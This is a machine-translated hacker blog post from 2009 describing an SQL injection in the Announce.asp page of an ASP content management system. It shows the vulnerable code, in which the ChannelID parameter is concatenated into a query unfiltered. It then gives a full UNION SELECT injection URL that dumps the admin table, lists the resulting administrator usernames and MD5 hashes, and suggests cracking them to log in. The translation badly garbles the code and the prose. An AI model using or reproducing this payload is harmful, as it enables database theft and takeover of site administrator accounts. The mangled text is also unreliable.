Електроцентрали в употреба Announce.asp Announce.asp, ASP, CMS, SQL инжектира, мощност, инжекция-st0p блог

Силата Announce.asp инжектира в използването на

Този пост беше публикуван на 25 юни 2009 г.

: St0p

Депресираните Ah, наскоро, участващи в дадена станция, намери силата да промени, но много местни промени. File адрес не е правилно, депресирани, тествани да намери Announce.asp може да се инжектира. .

http://www.st0p.org/Announce.asp?ChannelID=2 "

Настъпило следната грешка

Microsoft Jet Database Engine грешка '80040e14 "

String Синтактична грешка в заявка израз "IsSelected = вярно и (ChannelID = 0 или ChannelID = 2 ') и (ShowType = 0 или ShowType = 2) за ID Описание на продукта".

, / Announce.asp, ред 19

GA, се инжектира, можете да използвате.
И тогава отиде онлайн, да намерите динамично изтегляне анализ система, намерени на ID Clng филтър, но ChannelID не се филтрира, можете да използвате

  ( request ( "ID" ) ) ID = Trim (искане ("ID"))
 ( request ( "ChannelID" ) ) '这里只检则了是否为空 ChannelID = Trim (искане ("ChannelID")) "само проверява дали празна
 & ChannelID & ")" '这里直接调用了语句 sqlAnnounce = "SELECT * FROM обявяват, където IsSelected = True и (ChannelID = 0 или ChannelID =" и ChannelID и ")" "тук, за да насочват повиквания към изявлението
 "" then ако ID <> "", тогава
	 " and (ShowType=0 or ShowType=1) and ID=" & Clng ( ID ) sqlAnnounce = sqlAnnounce "и (ShowType = 0 или ShowType = 1) и ID =" & Clng (ID) 
 още
	 " and (ShowType=0 or ShowType=2)" sqlAnnounce = sqlAnnounce "и (ShowType = 0 или ShowType = 2)"
 крайна сметка, ако
 " order by ID Desc" sqlAnnounce = sqlAnnounce и "ред по ID Описание на продукта"
 Server . CreateObject ( "ADODB.Recordset" ) , Задайте rsAnnounce = Server. CreateObject ("ADODB.Recordset")
 , 1 rsAnnounce отворен sqlAnnounce, Кон, 1, 1

st0p директно свое изявление, прочетено в администраторския акаунт и парола

http://www.st0p.org/Announce.asp?id=2&ChannelID=-1)% 20 И% 20 (1 = 2)% 20union% 20id 20select%, потребителско име, парола, приложно поле, LastLoginTime, LastLoginIP, LoginTimes, AdminPurview_Article -% 20from% 20admin 20union%%% 20select 20 *%%% 20from 20Announce 20where% 20% 20 (1 = 2, тази спирка на две от най-добрите администратори всички вън

Сметка: adminB
Парола: 49ba59abbe56e057

Профил: Админ
Парола: d9a65233eab47930

С тази информация, можем да отидете да разбие MD5, а след това кацна на запис, след като режим на готовност. Това също е st0p нова издателска блог оригинален дневник.